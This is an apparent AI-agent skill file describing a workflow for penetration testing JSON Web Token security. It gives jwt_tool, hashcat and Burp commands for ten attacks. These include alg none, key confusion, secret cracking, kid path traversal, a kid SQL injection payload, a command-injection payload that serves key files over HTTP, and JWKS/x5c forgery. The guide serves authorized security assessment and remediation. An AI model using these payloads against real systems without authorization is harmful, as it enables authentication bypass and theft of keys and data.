JWT Pentesting Skill
A comprehensive guide for assessing JSON Web Token security in web applications.
Quick Assessment Workflow
Follow this systematic approach when evaluating JWT implementations:
1. Scope the Session Control
Identify which tokens actually gate authorization:
- Pick a user-specific request (profile, billing, admin actions)
- Remove cookies/headers one at a time until the request is rejected
- Note which token(s) are required for authorization
2. Locate JWTs in Traffic
JWTs commonly appear in:
Authorization: Bearer <JWT>header- Custom headers (e.g.,
X-Auth-Token) - Cookies (e.g.,
session,auth_token)
Search patterns for Burp Site Map:
[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*
3. Decode and Enumerate
Use jwt_tool or Burp JWT Editor to inspect:
python3 jwt_tool.py <JWT_TOKEN>
Key fields to note:
alg: Algorithm (HS256, RS256, ES256, none)exp: Expiration timekid: Key ID (potential attack vector)jku/x5u: Remote key URLs (SSRF potential)- Authn/authz claims:
role,id,username,email,sub
4. Signature Enforcement Check
Quick test: Flip or delete bytes in the signature portion and replay.
- Accepted → Missing signature validation (critical vulnerability)
- Rejected → Signature is being checked (proceed to other attacks)
Attack Patterns
Pattern 1: Signature Bypass (No Verification)
When to try: After confirming signature is checked, test if tampering works.
Steps:
- Decode the JWT
- Modify payload claims (e.g., change
role: usertorole: admin) - Keep the original signature unchanged
- Send the modified token
Success indicator: Server accepts the tampered token without re-verification.
Pattern 2: Algorithm None Attack
When to try: Token uses any algorithm, server may not enforce algorithm.
Steps:
- Set
algheader tononeorNone - Remove the signature portion entirely
- Send the unsigned token
Burp JWT Editor: Use the built-in "none" algorithm attack.
Pattern 3: HMAC Key Confusion (RS256 → HS256)
When to try: Token uses RS256 (asymmetric) and you have access to the public key.
Concept: Change algorithm from RS256 to HS256. The server will use the public key as the HMAC secret.
Steps:
Extract the RSA public key from:
/.well-known/jwks.json- Server certificate
- JWKS endpoint
Change
algfromRS256toHS256Re-sign the token using the public key as the secret
Using Burp JWT Editor:
- Import the RSA public key
- Run Attack → HMAC Key Confusion Attack
Using jwt_tool:
python3 jwt_tool.py <JWT> -M at # All tests mode
Pattern 4: Secret Key Brute Force
When to try: Token uses HS256 with a weak secret.
Steps:
- Export the JWT to a file
- Run offline cracking:
# Using jwt_tool
python3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt
# Using hashcat (GPU-accelerated)
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
- Once secret is recovered, re-sign modified claims with the discovered secret.
Pattern 5: Kid Manipulation
When to try: Token has a kid header claim.
Attack vectors:
5a. Key File Discovery
Search for the key file referenced by kid:
# If kid is "key/12345", try:
GET /key/12345
GET /key/12345.pem
GET /keys/12345
GET /public/12345.pem
5b. Path Traversal
Attempt to traverse to files with known content:
# Using jwt_tool
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# Target /proc/sys/kernel/randomize_va_space (contains "2")
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
5c. SQL Injection
If kid is used in database queries:
non-existent-index' UNION SELECT 'ATTACKER';-- -
5d. OS Command Injection
If kid is used in command execution:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
Pattern 6: JWKS Spoofing (jku/x5u)
When to try: Token has jku (JWK Set URL) or x5u (X.509 URL) header.
Concept: Server fetches keys from remote URL. Point it to your controlled server.
Steps:
- Create your own key pair:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
- Host a JWKS file at your controlled URL:
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"n": "<base64-encoded-n>",
"e": "AQAB"
}
]
}
- Modify the token's
jkuorx5uto point to your JWKS - Re-sign with your private key
- Send the forged token
Using Burp Collaborator:
- Use JWT Editor → Attack → Embed Collaborator payload
- Any callback confirms SSRF-style key retrieval
Pattern 7: Embedded Public Key (CVE-2018-0114)
When to try: Token has embedded public key in header.
Steps:
- Generate new key pair:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
- Extract
nandefrom your public key - Embed your public key in the token header
- Re-sign with your private key
Pattern 8: x5c Certificate Chain Attack
When to try: Token has x5c header with certificate chain.
Steps:
- Generate self-signed certificate:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout attacker.key -out attacker.crt
- Extract certificate in base64
- Replace
x5cvalue with your certificate - Re-sign with your private key
Pattern 9: Token Replay
When to try: Token has short jti (JWT ID) or no expiration check.
Scenarios:
jtihas limited length (e.g., 4 digits: 0001-9999)- Token has
expclaim but server doesn't enforce it - Token never expires
Test:
- Capture a valid token
- Wait for expiration time to pass
- Replay the token
- If accepted, the server doesn't check expiration
Pattern 10: Cross-Service Relay
When to try: Multiple services share JWT infrastructure.
Steps:
- Sign up on a different service using the same JWT provider
- Obtain a token from the other service
- Attempt to use it on the target service
- If accepted, tokens are shared across services
Tool Usage
jwt_tool
# Decode and analyze
python3 jwt_tool.py <JWT>
# All attack tests (automated)
python3 jwt_tool.py -M at -t "https://api.example.com" -rh "Authorization: Bearer <JWT>"
# Offline secret cracking
python3 jwt_tool.py <JWT> -C -d wordlist.txt
# JWKS spoofing test
python3 jwt_tool.py <JWT> -X s
# Tamper header claim
python3 jwt_tool.py <JWT> -I -hc <header_name> -hv <header_value>
Burp JWT Editor
Key features:
- Decode/encode JWTs in Repeater
- Generate custom keys (RSA, ECDSA, HMAC)
- Built-in attacks:
- Algorithm
noneattack - HMAC key confusion attack
- Embedded JWK attack
- jku/x5u Collaborator payloads
- Algorithm
Workflow:
- Send request to Repeater
- Open JWT Editor tab
- Modify claims or run attacks
- Send modified request
hashcat
# HS256 cracking (mode 16500)
hashcat -a 0 -m 16500 jwt.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
# With GPU acceleration
hashcat -a 0 -m 16500 jwt.txt wordlist.txt --force
Common Vulnerability Indicators
| Symptom | Likely Vulnerability |
|---|---|
| Token accepted after signature modification | No signature verification |
Token accepted with alg: none |
Algorithm enforcement missing |
| RS256 token accepted with HS256 signature | Key confusion vulnerability |
kid points to accessible file |
Key exposure |
jku/x5u triggers callback |
SSRF in key retrieval |
| Expired token still works | No expiration check |
| Same token works on different services | Cross-service relay |
Reporting Findings
When documenting JWT vulnerabilities:
- Include the original token (redact sensitive claims if needed)
- Show the modified token that demonstrates the vulnerability
- Explain the impact (privilege escalation, authentication bypass, etc.)
- Provide reproduction steps
- Suggest remediation:
- Always verify signatures
- Enforce algorithm whitelist (never allow
none) - Use strong, random secrets for HMAC
- Validate
kidagainst allowlist - Implement proper expiration checks
- Use separate keys per service
Quick Reference
Most common vulnerabilities (in order of frequency):
- No signature verification
- Algorithm
noneaccepted - Weak HMAC secrets
- Key confusion (RS256 → HS256)
- Kid manipulation
- JWKS/x5u SSRF
First tests to run:
- Tamper payload, keep signature
- Set algorithm to
none - Run
jwt_tool -M at - Check for
kid,jku,x5uheaders - Test expiration bypass